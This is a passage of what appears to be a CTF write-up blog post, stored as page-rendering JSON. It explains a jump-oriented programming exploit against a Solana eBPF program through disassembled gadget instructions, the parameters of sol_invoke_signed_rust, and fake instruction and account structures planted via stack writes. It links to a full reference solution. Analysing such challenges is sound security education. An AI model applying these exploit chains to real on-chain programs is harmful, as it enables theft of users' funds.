jne",{"type":24,"tag":327,"props":51080,"children":51081},{"style":346},[51082],{"type":29,"value":4927},{"type":24,"tag":327,"props":51084,"children":51085},{"style":381},[51086],{"type":29,"value":394},{"type":24,"tag":327,"props":51088,"children":51089},{"style":397},[51090],{"type":29,"value":25038},{"type":24,"tag":327,"props":51092,"children":51093},{"style":346},[51094],{"type":29,"value":13389},{"type":24,"tag":327,"props":51096,"children":51097},{"style":356},[51098],{"type":29,"value":51099},"r0",{"type":24,"tag":327,"props":51101,"children":51102},{"style":346},[51103],{"type":29,"value":2744},{"type":24,"tag":327,"props":51105,"children":51106},{"style":397},[51107],{"type":29,"value":51108},"0x0\n",{"type":24,"tag":327,"props":51110,"children":51111},{"class":329,"line":529},[51112],{"type":24,"tag":327,"props":51113,"children":51114},{"emptyLinePlaceholder":16},[51115],{"type":29,"value":544},{"type":24,"tag":327,"props":51117,"children":51118},{"class":329,"line":538},[51119,51124,51129,51134,51139,51143],{"type":24,"tag":327,"props":51120,"children":51121},{"style":356},[51122],{"type":29,"value":51123},"100001bd8",{"type":24,"tag":327,"props":51125,"children":51126},{"style":356},[51127],{"type":29,"value":51128},"  b701000018000000",{"type":24,"tag":327,"props":51130,"children":51131},{"style":356},[51132],{"type":29,"value":51133},"   mov",{"type":24,"tag":327,"props":51135,"children":51136},{"style":356},[51137],{"type":29,"value":51138}," r1",{"type":24,"tag":327,"props":51140,"children":51141},{"style":346},[51142],{"type":29,"value":2744},{"type":24,"tag":327,"props":51144,"children":51145},{"style":397},[51146],{"type":29,"value":51147},"0x18\n",{"type":24,"tag":327,"props":51149,"children":51150},{"class":329,"line":547},[51151,51156,51161,51165,51169,51173,51177,51181,51186,51190,51195],{"type":24,"tag":327,"props":51152,"children":51153},{"style":356},[51154],{"type":29,"value":51155},"100001be0",{"type":24,"tag":327,"props":51157,"children":51158},{"style":356},[51159],{"type":29,"value":51160},"  79a288ff00000000",{"type":24,"tag":327,"props":51162,"children":51163},{"style":356},[51164],{"type":29,"value":50844},{"type":24,"tag":327,"props":51166,"children":51167},{"style":356},[51168],{"type":29,"value":50849},{"type":24,"tag":327,"props":51170,"children":51171},{"style":346},[51172],{"type":29,"value":50854},{"type":24,"tag":327,"props":51174,"children":51175},{"style":356},[51176],{"type":29,"value":50859},{"type":24,"tag":327,"props":51178,"children":51179},{"style":381},[51180],{"type":29,"value":11899},{"type":24,"tag":327,"props":51182,"children":51183},{"style":397},[51184],{"type":29,"value":51185},"120",{"type":24,"tag":327,"props":51187,"children":51188},{"style":346},[51189],{"type":29,"value":50873},{"type":24,"tag":327,"props":51191,"children":51192},{"style":356},[51193],{"type":29,"value":51194},"var_78",{"type":24,"tag":327,"props":51196,"children":51197},{"style":346},[51198],{"type":29,"value":592},{"type":24,"tag":327,"props":51200,"children":51201},{"class":329,"line":557},[51202,51207,51212,51217,51221,51226,51230,51234,51238,51243,51248,51253],{"type":24,"tag":327,"props":51203,"children":51204},{"style":356},[51205],{"type":29,"value":51206},"100001be8",{"type":24,"tag":327,"props":51208,"children":51209},{"style":397},[51210],{"type":29,"value":51211},"  6312000000000000",{"type":24,"tag":327,"props":51213,"children":51214},{"style":356},[51215],{"type":29,"value":51216},"   stxw",{"type":24,"tag":327,"props":51218,"children":51219},{"style":346},[51220],{"type":29,"value":4446},{"type":24,"tag":327,"props":51222,"children":51223},{"style":356},[51224],{"type":29,"value":51225},"r2",{"type":24,"tag":327,"props":51227,"children":51228},{"style":381},[51229],{"type":29,"value":11899},{"type":24,"tag":327,"props":51231,"children":51232},{"style":397},[51233],{"type":29,"value":2988},{"type":24,"tag":327,"props":51235,"children":51236},{"style":346},[51237],{"type":29,"value":4474},{"type":24,"tag":327,"props":51239,"children":51240},{"style":356},[51241],{"type":29,"value":51242},"r1",{"type":24,"tag":327,"props":51244,"children":51245},{"style":346},[51246],{"type":29,"value":51247},"  {",{"type":24,"tag":327,"props":51249,"children":51250},{"style":397},[51251],{"type":29,"value":51252},"0x18",{"type":24,"tag":327,"props":51254,"children":51255},{"style":346},[51256],{"type":29,"value":592},{"type":24,"tag":327,"props":51258,"children":51259},{"class":329,"line":586},[51260,51265,51270,51275,51279,51283,51287],{"type":24,"tag":327,"props":51261,"children":51262},{"style":356},[51263],{"type":29,"value":51264},"100001bf0",{"type":24,"tag":327,"props":51266,"children":51267},{"style":397},[51268],{"type":29,"value":51269},"  0500030000000000",{"type":24,"tag":327,"props":51271,"children":51272},{"style":356},[51273],{"type":29,"value":51274},"   ja",{"type":24,"tag":327,"props":51276,"children":51277},{"style":346},[51278],{"type":29,"value":4927},{"type":24,"tag":327,"props":51280,"children":51281},{"style":381},[51282],{"type":29,"value":394},{"type":24,"tag":327,"props":51284,"children":51285},{"style":397},[51286],{"type":29,"value":24805},{"type":24,"tag":327,"props":51288,"children":51289},{"style":346},[51290],{"type":29,"value":9571},{"type":24,"tag":327,"props":51292,"children":51293},{"class":329,"line":1017},[51294],{"type":24,"tag":327,"props":51295,"children":51296},{"emptyLinePlaceholder":16},[51297],{"type":29,"value":544},{"type":24,"tag":327,"props":51299,"children":51300},{"class":329,"line":1026},[51301,51306,51311,51315,51319,51323,51327,51331,51335,51339,51343],{"type":24,"tag":327,"props":51302,"children":51303},{"style":356},[51304],{"type":29,"value":51305},"100001bf8",{"type":24,"tag":327,"props":51307,"children":51308},{"style":356},[51309],{"type":29,"value":51310},"  79a188ff00000000",{"type":24,"tag":327,"props":51312,"children":51313},{"style":356},[51314],{"type":29,"value":50844},{"type":24,"tag":327,"props":51316,"children":51317},{"style":356},[51318],{"type":29,"value":51138},{"type":24,"tag":327,"props":51320,"children":51321},{"style":346},[51322],{"type":29,"value":50854},{"type":24,"tag":327,"props":51324,"children":51325},{"style":356},[51326],{"type":29,"value":50859},{"type":24,"tag":327,"props":51328,"children":51329},{"style":381},[51330],{"type":29,"value":11899},{"type":24,"tag":327,"props":51332,"children":51333},{"style":397},[51334],{"type":29,"value":51185},{"type":24,"tag":327,"props":51336,"children":51337},{"style":346},[51338],{"type":29,"value":50873},{"type":24,"tag":327,"props":51340,"children":51341},{"style":356},[51342],{"type":29,"value":51194},{"type":24,"tag":327,"props":51344,"children":51345},{"style":346},[51346],{"type":29,"value":592},{"type":24,"tag":327,"props":51348,"children":51349},{"class":329,"line":1048},[51350,51355,51360,51364,51368,51372],{"type":24,"tag":327,"props":51351,"children":51352},{"style":356},[51353],{"type":29,"value":51354},"100001c00",{"type":24,"tag":327,"props":51356,"children":51357},{"style":356},[51358],{"type":29,"value":51359},"  bf02000000000000",{"type":24,"tag":327,"props":51361,"children":51362},{"style":356},[51363],{"type":29,"value":51133},{"type":24,"tag":327,"props":51365,"children":51366},{"style":356},[51367],{"type":29,"value":50849},{"type":24,"tag":327,"props":51369,"children":51370},{"style":346},[51371],{"type":29,"value":2744},{"type":24,"tag":327,"props":51373,"children":51374},{"style":356},[51375],{"type":29,"value":51376},"r0\n",{"type":24,"tag":327,"props":51378,"children":51379},{"class":329,"line":1067},[51380,51385,51390,51394,51399,51403,51408,51412,51416,51421,51425,51429,51434,51439,51443,51447],{"type":24,"tag":327,"props":51381,"children":51382},{"style":356},[51383],{"type":29,"value":51384},"100001c08",{"type":24,"tag":327,"props":51386,"children":51387},{"style":397},[51388],{"type":29,"value":51389},"  8510000075000000",{"type":24,"tag":327,"props":51391,"children":51392},{"style":356},[51393],{"type":29,"value":51055},{"type":24,"tag":327,"props":51395,"children":51396},{"style":1639},[51397],{"type":29,"value":51398}," _ZN94_",{"type":24,"tag":327,"props":51400,"children":51401},{"style":381},[51402],{"type":29,"value":17835},{"type":24,"tag":327,"props":51404,"children":51405},{"style":1639},[51406],{"type":29,"value":51407},"LT",{"type":24,"tag":327,"props":51409,"children":51410},{"style":381},[51411],{"type":29,"value":17835},{"type":24,"tag":327,"props":51413,"children":51414},{"style":356},[51415],{"type":29,"value":21194},{"type":24,"tag":327,"props":51417,"children":51418},{"style":381},[51419],{"type":29,"value":51420},"...$",{"type":24,"tag":327,"props":51422,"children":51423},{"style":356},[51424],{"type":29,"value":15603},{"type":24,"tag":327,"props":51426,"children":51427},{"style":381},[51428],{"type":29,"value":17835},{"type":24,"tag":327,"props":51430,"children":51431},{"style":1639},[51432],{"type":29,"value":51433},"GT",{"type":24,"tag":327,"props":51435,"children":51436},{"style":381},[51437],{"type":29,"value":51438},"$$",{"type":24,"tag":327,"props":51440,"children":51441},{"style":1639},[51442],{"type":29,"value":51433},{"type":24,"tag":327,"props":51444,"children":51445},{"style":381},[51446],{"type":29,"value":17835},{"type":24,"tag":327,"props":51448,"children":51449},{"style":346},[51450],{"type":29,"value":51451},"4from17ha0d289b72861b06dE\n",{"type":24,"tag":327,"props":51453,"children":51454},{"class":329,"line":1075},[51455],{"type":24,"tag":327,"props":51456,"children":51457},{"emptyLinePlaceholder":16},[51458],{"type":29,"value":544},{"type":24,"tag":327,"props":51460,"children":51461},{"class":329,"line":1084},[51462,51467,51472,51476,51480,51484,51488,51492,51497,51501,51506],{"type":24,"tag":327,"props":51463,"children":51464},{"style":356},[51465],{"type":29,"value":51466},"100001c10",{"type":24,"tag":327,"props":51468,"children":51469},{"style":356},[51470],{"type":29,"value":51471},"  79a2b8ff00000000",{"type":24,"tag":327,"props":51473,"children":51474},{"style":356},[51475],{"type":29,"value":50844},{"type":24,"tag":327,"props":51477,"children":51478},{"style":356},[51479],{"type":29,"value":50849},{"type":24,"tag":327,"props":51481,"children":51482},{"style":346},[51483],{"type":29,"value":50854},{"type":24,"tag":327,"props":51485,"children":51486},{"style":356},[51487],{"type":29,"value":50859},{"type":24,"tag":327,"props":51489,"children":51490},{"style":381},[51491],{"type":29,"value":11899},{"type":24,"tag":327,"props":51493,"children":51494},{"style":397},[51495],{"type":29,"value":51496},"72",{"type":24,"tag":327,"props":51498,"children":51499},{"style":346},[51500],{"type":29,"value":50873},{"type":24,"tag":327,"props":51502,"children":51503},{"style":356},[51504],{"type":29,"value":51505},"var_48",{"type":24,"tag":327,"props":51507,"children":51508},{"style":346},[51509],{"type":29,"value":592},{"type":24,"tag":327,"props":51511,"children":51512},{"class":329,"line":1100},[51513,51518,51523,51528,51532,51536,51540,51544,51548,51552],{"type":24,"tag":327,"props":51514,"children":51515},{"style":356},[51516],{"type":29,"value":51517},"100001c18",{"type":24,"tag":327,"props":51519,"children":51520},{"style":397},[51521],{"type":29,"value":51522},"  1502040000000000",{"type":24,"tag":327,"props":51524,"children":51525},{"style":356},[51526],{"type":29,"value":51527},"   jeq",{"type":24,"tag":327,"props":51529,"children":51530},{"style":346},[51531],{"type":29,"value":4927},{"type":24,"tag":327,"props":51533,"children":51534},{"style":381},[51535],{"type":29,"value":394},{"type":24,"tag":327,"props":51537,"children":51538},{"style":397},[51539],{"type":29,"value":25038},{"type":24,"tag":327,"props":51541,"children":51542},{"style":346},[51543],{"type":29,"value":13389},{"type":24,"tag":327,"props":51545,"children":51546},{"style":356},[51547],{"type":29,"value":51225},{"type":24,"tag":327,"props":51549,"children":51550},{"style":346},[51551],{"type":29,"value":2744},{"type":24,"tag":327,"props":51553,"children":51554},{"style":397},[51555],{"type":29,"value":51108},{"type":24,"tag":327,"props":51557,"children":51558},{"class":329,"line":1128},[51559],{"type":24,"tag":327,"props":51560,"children":51561},{"emptyLinePlaceholder":16},[51562],{"type":29,"value":544},{"type":24,"tag":327,"props":51564,"children":51565},{"class":329,"line":1148},[51566,51571,51576,51581,51585,51589],{"type":24,"tag":327,"props":51567,"children":51568},{"style":356},[51569],{"type":29,"value":51570},"100001c20",{"type":24,"tag":327,"props":51572,"children":51573},{"style":397},[51574],{"type":29,"value":51575},"  2702000022000000",{"type":24,"tag":327,"props":51577,"children":51578},{"style":356},[51579],{"type":29,"value":51580},"   mul",{"type":24,"tag":327,"props":51582,"children":51583},{"style":356},[51584],{"type":29,"value":50849},{"type":24,"tag":327,"props":51586,"children":51587},{"style":346},[51588],{"type":29,"value":2744},{"type":24,"tag":327,"props":51590,"children":51591},{"style":397},[51592],{"type":29,"value":51593},"0x22\n",{"type":24,"tag":327,"props":51595,"children":51596},{"class":329,"line":1176},[51597,51602,51607,51611,51615,51619,51623,51627,51632,51636,51641],{"type":24,"tag":327,"props":51598,"children":51599},{"style":356},[51600],{"type":29,"value":51601},"100001c28",{"type":24,"tag":327,"props":51603,"children":51604},{"style":356},[51605],{"type":29,"value":51606},"  79a1b0ff00000000",{"type":24,"tag":327,"props":51608,"children":51609},{"style":356},[51610],{"type":29,"value":50844},{"type":24,"tag":327,"props":51612,"children":51613},{"style":356},[51614],{"type":29,"value":51138},{"type":24,"tag":327,"props":51616,"children":51617},{"style":346},[51618],{"type":29,"value":50854},{"type":24,"tag":327,"props":51620,"children":51621},{"style":356},[51622],{"type":29,"value":50859},{"type":24,"tag":327,"props":51624,"children":51625},{"style":381},[51626],{"type":29,"value":11899},{"type":24,"tag":327,"props":51628,"children":51629},{"style":397},[51630],{"type":29,"value":51631},"80",{"type":24,"tag":327,"props":51633,"children":51634},{"style":346},[51635],{"type":29,"value":50873},{"type":24,"tag":327,"props":51637,"children":51638},{"style":356},[51639],{"type":29,"value":51640},"var_50",{"type":24,"tag":327,"props":51642,"children":51643},{"style":346},[51644],{"type":29,"value":592},{"type":24,"tag":327,"props":51646,"children":51647},{"class":329,"line":1184},[51648,51653,51658,51662,51666,51670],{"type":24,"tag":327,"props":51649,"children":51650},{"style":356},[51651],{"type":29,"value":51652},"100001c30",{"type":24,"tag":327,"props":51654,"children":51655},{"style":356},[51656],{"type":29,"value":51657},"  b703000001000000",{"type":24,"tag":327,"props":51659,"children":51660},{"style":356},[51661],{"type":29,"value":51133},{"type":24,"tag":327,"props":51663,"children":51664},{"style":356},[51665],{"type":29,"value":50904},{"type":24,"tag":327,"props":51667,"children":51668},{"style":346},[51669],{"type":29,"value":2744},{"type":24,"tag":327,"props":51671,"children":51672},{"style":397},[51673],{"type":29,"value":51674},"0x1\n",{"type":24,"tag":327,"props":51676,"children":51677},{"class":329,"line":1192},[51678,51683,51688,51692],{"type":24,"tag":327,"props":51679,"children":51680},{"style":356},[51681],{"type":29,"value":51682},"100001c38",{"type":24,"tag":327,"props":51684,"children":51685},{"style":356},[51686],{"type":29,"value":51687},"  8510000003feffff",{"type":24,"tag":327,"props":51689,"children":51690},{"style":356},[51691],{"type":29,"value":51055},{"type":24,"tag":327,"props":51693,"children":51694},{"style":356},[51695],{"type":29,"value":51696}," __rust_dealloc\n",{"type":24,"tag":327,"props":51698,"children":51699},{"class":329,"line":1212},[51700],{"type":24,"tag":327,"props":51701,"children":51702},{"emptyLinePlaceholder":16},[51703],{"type":29,"value":544},{"type":24,"tag":327,"props":51705,"children":51706},{"class":329,"line":4841},[51707,51712,51717,51721,51725,51729,51733,51737,51742,51746,51751],{"type":24,"tag":327,"props":51708,"children":51709},{"style":356},[51710],{"type":29,"value":51711},"100001c40",{"type":24,"tag":327,"props":51713,"children":51714},{"style":356},[51715],{"type":29,"value":51716},"  79a2d0ff00000000",{"type":24,"tag":327,"props":51718,"children":51719},{"style":356},[51720],{"type":29,"value":50844},{"type":24,"tag":327,"props":51722,"children":51723},{"style":356},[51724],{"type":29,"value":50849},{"type":24,"tag":327,"props":51726,"children":51727},{"style":346},[51728],{"type":29,"value":50854},{"type":24,"tag":327,"props":51730,"children":51731},{"style":356},[51732],{"type":29,"value":50859},{"type":24,"tag":327,"props":51734,"children":51735},{"style":381},[51736],{"type":29,"value":11899},{"type":24,"tag":327,"props":51738,"children":51739},{"style":397},[51740],{"type":29,"value":51741},"48",{"type":24,"tag":327,"props":51743,"children":51744},{"style":346},[51745],{"type":29,"value":50873},{"type":24,"tag":327,"props":51747,"children":51748},{"style":356},[51749],{"type":29,"value":51750},"var_30",{"type":24,"tag":327,"props":51752,"children":51753},{"style":346},[51754],{"type":29,"value":592},{"type":24,"tag":327,"props":51756,"children":51757},{"class":329,"line":4862},[51758,51763,51768,51772,51776,51780,51784,51788,51792,51796],{"type":24,"tag":327,"props":51759,"children":51760},{"style":356},[51761],{"type":29,"value":51762},"100001c48",{"type":24,"tag":327,"props":51764,"children":51765},{"style":397},[51766],{"type":29,"value":51767},"  1502030000000000",{"type":24,"tag":327,"props":51769,"children":51770},{"style":356},[51771],{"type":29,"value":51527},{"type":24,"tag":327,"props":51773,"children":51774},{"style":346},[51775],{"type":29,"value":4927},{"type":24,"tag":327,"props":51777,"children":51778},{"style":381},[51779],{"type":29,"value":394},{"type":24,"tag":327,"props":51781,"children":51782},{"style":397},[51783],{"type":29,"value":24805},{"type":24,"tag":327,"props":51785,"children":51786},{"style":346},[51787],{"type":29,"value":13389},{"type":24,"tag":327,"props":51789,"children":51790},{"style":356},[51791],{"type":29,"value":51225},{"type":24,"tag":327,"props":51793,"children":51794},{"style":346},[51795],{"type":29,"value":2744},{"type":24,"tag":327,"props":51797,"children":51798},{"style":397},[51799],{"type":29,"value":51108},{"type":24,"tag":327,"props":51801,"children":51802},{"class":329,"line":4870},[51803],{"type":24,"tag":327,"props":51804,"children":51805},{"emptyLinePlaceholder":16},[51806],{"type":29,"value":544},{"type":24,"tag":327,"props":51808,"children":51809},{"class":329,"line":4879},[51810,51815,51820,51824,51828,51832,51836,51840,51845,51849,51854],{"type":24,"tag":327,"props":51811,"children":51812},{"style":356},[51813],{"type":29,"value":51814},"100001c50",{"type":24,"tag":327,"props":51816,"children":51817},{"style":356},[51818],{"type":29,"value":51819},"  79a1c8ff00000000",{"type":24,"tag":327,"props":51821,"children":51822},{"style":356},[51823],{"type":29,"value":50844},{"type":24,"tag":327,"props":51825,"children":51826},{"style":356},[51827],{"type":29,"value":51138},{"type":24,"tag":327,"props":51829,"children":51830},{"style":346},[51831],{"type":29,"value":50854},{"type":24,"tag":327,"props":51833,"children":51834},{"style":356},[51835],{"type":29,"value":50859},{"type":24,"tag":327,"props":51837,"children":51838},{"style":381},[51839],{"type":29,"value":11899},{"type":24,"tag":327,"props":51841,"children":51842},{"style":397},[51843],{"type":29,"value":51844},"56",{"type":24,"tag":327,"props":51846,"children":51847},{"style":346},[51848],{"type":29,"value":50873},{"type":24,"tag":327,"props":51850,"children":51851},{"style":356},[51852],{"type":29,"value":51853},"var_38",{"type":24,"tag":327,"props":51855,"children":51856},{"style":346},[51857],{"type":29,"value":592},{"type":24,"tag":327,"props":51859,"children":51860},{"class":329,"line":4913},[51861,51866,51870,51874,51878,51882],{"type":24,"tag":327,"props":51862,"children":51863},{"style":356},[51864],{"type":29,"value":51865},"100001c58",{"type":24,"tag":327,"props":51867,"children":51868},{"style":356},[51869],{"type":29,"value":51657},{"type":24,"tag":327,"props":51871,"children":51872},{"style":356},[51873],{"type":29,"value":51133},{"type":24,"tag":327,"props":51875,"children":51876},{"style":356},[51877],{"type":29,"value":50904},{"type":24,"tag":327,"props":51879,"children":51880},{"style":346},[51881],{"type":29,"value":2744},{"type":24,"tag":327,"props":51883,"children":51884},{"style":397},[51885],{"type":29,"value":51674},{"type":24,"tag":327,"props":51887,"children":51888},{"class":329,"line":4938},[51889,51894,51899,51903],{"type":24,"tag":327,"props":51890,"children":51891},{"style":356},[51892],{"type":29,"value":51893},"100001c60",{"type":24,"tag":327,"props":51895,"children":51896},{"style":356},[51897],{"type":29,"value":51898},"  85100000fefdffff",{"type":24,"tag":327,"props":51900,"children":51901},{"style":356},[51902],{"type":29,"value":51055},{"type":24,"tag":327,"props":51904,"children":51905},{"style":356},[51906],{"type":29,"value":51696},{"type":24,"tag":327,"props":51908,"children":51909},{"class":329,"line":4974},[51910],{"type":24,"tag":327,"props":51911,"children":51912},{"emptyLinePlaceholder":16},[51913],{"type":29,"value":544},{"type":24,"tag":327,"props":51915,"children":51916},{"class":329,"line":4982},[51917,51922,51927,51932,51937,51942],{"type":24,"tag":327,"props":51918,"children":51919},{"style":356},[51920],{"type":29,"value":51921},"100001c68",{"type":24,"tag":327,"props":51923,"children":51924},{"style":397},[51925],{"type":29,"value":51926},"  9500000000000000",{"type":24,"tag":327,"props":51928,"children":51929},{"style":356},[51930],{"type":29,"value":51931},"   exit",{"type":24,"tag":327,"props":51933,"children":51934},{"style":346},[51935],{"type":29,"value":51936}," {",{"type":24,"tag":327,"props":51938,"children":51939},{"style":356},[51940],{"type":29,"value":51941},"__return_addr",{"type":24,"tag":327,"props":51943,"children":51944},{"style":346},[51945],{"type":29,"value":592},{"type":24,"tag":25,"props":51947,"children":51948},{},[51949,51951,51957],{"type":29,"value":51950},"Which, assuming that ",{"type":24,"tag":284,"props":51952,"children":51954},{"className":51953},[],[51955],{"type":29,"value":51956},"sol_invoke_signed_rust",{"type":29,"value":51958}," returns 0, is doing the following:",{"type":24,"tag":175,"props":51960,"children":51961},{},[51962,51971,51980],{"type":24,"tag":179,"props":51963,"children":51964},{},[51965],{"type":24,"tag":284,"props":51966,"children":51968},{"className":51967},[],[51969],{"type":29,"value":51970},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":24,"tag":179,"props":51972,"children":51973},{},[51974],{"type":24,"tag":284,"props":51975,"children":51977},{"className":51976},[],[51978],{"type":29,"value":51979},"*[r10-120] = 0x18",{"type":24,"tag":179,"props":51981,"children":51982},{},[51983,51985,51991,51993,52000],{"type":29,"value":51984},"Calls ",{"type":24,"tag":284,"props":51986,"children":51988},{"className":51987},[],[51989],{"type":29,"value":51990},"__rust_dealloc",{"type":29,"value":51992},", which in default circumstances is a ",{"type":24,"tag":57,"props":51994,"children":51997},{"href":51995,"rel":51996},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[61],[51998],{"type":29,"value":51999},"NOP",{"type":29,"value":66},{"type":24,"tag":25,"props":52002,"children":52003},{},[52004],{"type":29,"value":52005},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":24,"tag":25,"props":52007,"children":52008},{},[52009],{"type":29,"value":52010},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":24,"tag":25,"props":52012,"children":52013},{},[52014,52016,52023],{"type":29,"value":52015},"Looking at the ",{"type":24,"tag":57,"props":52017,"children":52020},{"href":52018,"rel":52019},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[61],[52021],{"type":29,"value":52022},"definition",{"type":29,"value":52024},", it's not crystal clear what the parameters are:",{"type":24,"tag":317,"props":52026,"children":52028},{"className":1553,"code":52027,"language":1552,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[52029],{"type":24,"tag":284,"props":52030,"children":52031},{"__ignoreMap":7},[52032],{"type":24,"tag":327,"props":52033,"children":52034},{"class":329,"line":330},[52035,52039,52044,52048,52053,52057,52061,52065,52069,52073,52078,52082,52086,52090,52094,52098,52103,52107,52111,52115,52120,52124,52128,52132,52136,52140,52145,52149,52153,52157,52161],{"type":24,"tag":327,"props":52036,"children":52037},{"style":334},[52038],{"type":29,"value":1617},{"type":24,"tag":327,"props":52040,"children":52041},{"style":340},[52042],{"type":29,"value":52043}," sol_invoke_signed_rust",{"type":24,"tag":327,"props":52045,"children":52046},{"style":346},[52047],{"type":29,"value":349},{"type":24,"tag":327,"props":52049,"children":52050},{"style":356},[52051],{"type":29,"value":52052},"instruction_addr",{"type":24,"tag":327,"props":52054,"children":52055},{"style":381},[52056],{"type":29,"value":1636},{"type":24,"tag":327,"props":52058,"children":52059},{"style":381},[52060],{"type":29,"value":17364},{"type":24,"tag":327,"props":52062,"children":52063},{"style":334},[52064],{"type":29,"value":17202},{"type":24,"tag":327,"props":52066,"children":52067},{"style":1639},[52068],{"type":29,"value":2679},{"type":24,"tag":327,"props":52070,"children":52071},{"style":346},[52072],{"type":29,"value":2744},{"type":24,"tag":327,"props":52074,"children":52075},{"style":356},[52076],{"type":29,"value":52077},"account_infos_addr",{"type":24,"tag":327,"props":52079,"children":52080},{"style":381},[52081],{"type":29,"value":1636},{"type":24,"tag":327,"props":52083,"children":52084},{"style":381},[52085],{"type":29,"value":17364},{"type":24,"tag":327,"props":52087,"children":52088},{"style":334},[52089],{"type":29,"value":17202},{"type":24,"tag":327,"props":52091,"children":52092},{"style":1639},[52093],{"type":29,"value":2679},{"type":24,"tag":327,"props":52095,"children":52096},{"style":346},[52097],{"type":29,"value":2744},{"type":24,"tag":327,"props":52099,"children":52100},{"style":356},[52101],{"type":29,"value":52102},"account_infos_len",{"type":24,"tag":327,"props":52104,"children":52105},{"style":381},[52106],{"type":29,"value":1636},{"type":24,"tag":327,"props":52108,"children":52109},{"style":1639},[52110],{"type":29,"value":1669},{"type":24,"tag":327,"props":52112,"children":52113},{"style":346},[52114],{"type":29,"value":2744},{"type":24,"tag":327,"props":52116,"children":52117},{"style":356},[52118],{"type":29,"value":52119},"signers_seeds_addr",{"type":24,"tag":327,"props":52121,"children":52122},{"style":381},[52123],{"type":29,"value":1636},{"type":24,"tag":327,"props":52125,"children":52126},{"style":381},[52127],{"type":29,"value":17364},{"type":24,"tag":327,"props":52129,"children":52130},{"style":334},[52131],{"type":29,"value":17202},{"type":24,"tag":327,"props":52133,"children":52134},{"style":1639},[52135],{"type":29,"value":2679},{"type":24,"tag":327,"props":52137,"children":52138},{"style":346},[52139],{"type":29,"value":2744},{"type":24,"tag":327,"props":52141,"children":52142},{"style":356},[52143],{"type":29,"value":52144},"signers_seeds_len",{"type":24,"tag":327,"props":52146,"children":52147},{"style":381},[52148],{"type":29,"value":1636},{"type":24,"tag":327,"props":52150,"children":52151},{"style":1639},[52152],{"type":29,"value":1669},{"type":24,"tag":327,"props":52154,"children":52155},{"style":346},[52156],{"type":29,"value":1674},{"type":24,"tag":327,"props":52158,"children":52159},{"style":381},[52160],{"type":29,"value":1679},{"type":24,"tag":327,"props":52162,"children":52163},{"style":1639},[52164],{"type":29,"value":20739},{"type":24,"tag":25,"props":52166,"children":52167},{},[52168,52170,52175,52177,52184],{"type":29,"value":52169},"The source of ",{"type":24,"tag":57,"props":52171,"children":52173},{"href":52172},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[52174],{"type":29,"value":50785},{"type":29,"value":52176}," helps a lot, but looking at the actual ",{"type":24,"tag":57,"props":52178,"children":52181},{"href":52179,"rel":52180},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[61],[52182],{"type":29,"value":52183},"implementation",{"type":29,"value":52185}," provides more clarity:",{"type":24,"tag":1380,"props":52187,"children":52188},{},[52189],{"type":24,"tag":179,"props":52190,"children":52191},{},[52192,52197,52199,52206],{"type":24,"tag":284,"props":52193,"children":52195},{"className":52194},[],[52196],{"type":29,"value":52052},{"type":29,"value":52198}," points to a ",{"type":24,"tag":57,"props":52200,"children":52203},{"href":52201,"rel":52202},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[61],[52204],{"type":29,"value":52205},"StableInstruction",{"type":29,"value":1636},{"type":24,"tag":25,"props":52208,"children":52209},{},[52210],{"type":24,"tag":11511,"props":52211,"children":52213},{"alt":52205,"src":52212},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":24,"tag":1380,"props":52215,"children":52216},{},[52217,52242],{"type":24,"tag":179,"props":52218,"children":52219},{},[52220,52225,52227,52232,52234,52241],{"type":24,"tag":284,"props":52221,"children":52223},{"className":52222},[],[52224],{"type":29,"value":52077},{"type":29,"value":52226}," points to a slice of ",{"type":24,"tag":284,"props":52228,"children":52230},{"className":52229},[],[52231],{"type":29,"value":52102},{"type":29,"value":52233},"  ",{"type":24,"tag":57,"props":52235,"children":52238},{"href":52236,"rel":52237},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[61],[52239],{"type":29,"value":52240},"AccountInfos",{"type":29,"value":66},{"type":24,"tag":179,"props":52243,"children":52244},{},[52245,52250,52252,52257,52259,52264],{"type":24,"tag":284,"props":52246,"children":52248},{"className":52247},[],[52249],{"type":29,"value":52119},{"type":29,"value":52251}," is a bit trickier, it points to a slice of length ",{"type":24,"tag":284,"props":52253,"children":52255},{"className":52254},[],[52256],{"type":29,"value":52144},{"type":29,"value":52258},", containing slices of ",{"type":24,"tag":284,"props":52260,"children":52262},{"className":52261},[],[52263],{"type":29,"value":11022},{"type":29,"value":66},{"type":24,"tag":25,"props":52266,"children":52267},{},[52268],{"type":24,"tag":11511,"props":52269,"children":52272},{"alt":52270,"src":52271},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":24,"tag":25,"props":52274,"children":52275},{},[52276,52278,52283],{"type":29,"value":52277},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":24,"tag":42,"props":52279,"children":52280},{},[52281],{"type":29,"value":52282},"future call frames",{"type":29,"value":66},{"type":24,"tag":25,"props":52285,"children":52286},{},[52287,52289,52296],{"type":29,"value":52288},"Now that we have all the parts, all we need is to string it together. The full ",{"type":24,"tag":57,"props":52290,"children":52293},{"href":52291,"rel":52292},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[61],[52294],{"type":29,"value":52295},"reference solution can be found here",{"type":29,"value":66},{"type":24,"tag":25,"props":52298,"children":52299},{},[52300],{"type":29,"value":52301},"Here's a visualization of the final JOP chain.",{"type":24,"tag":317,"props":52303,"children":52305},{"className":50667,"code":52304,"language":50669,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> 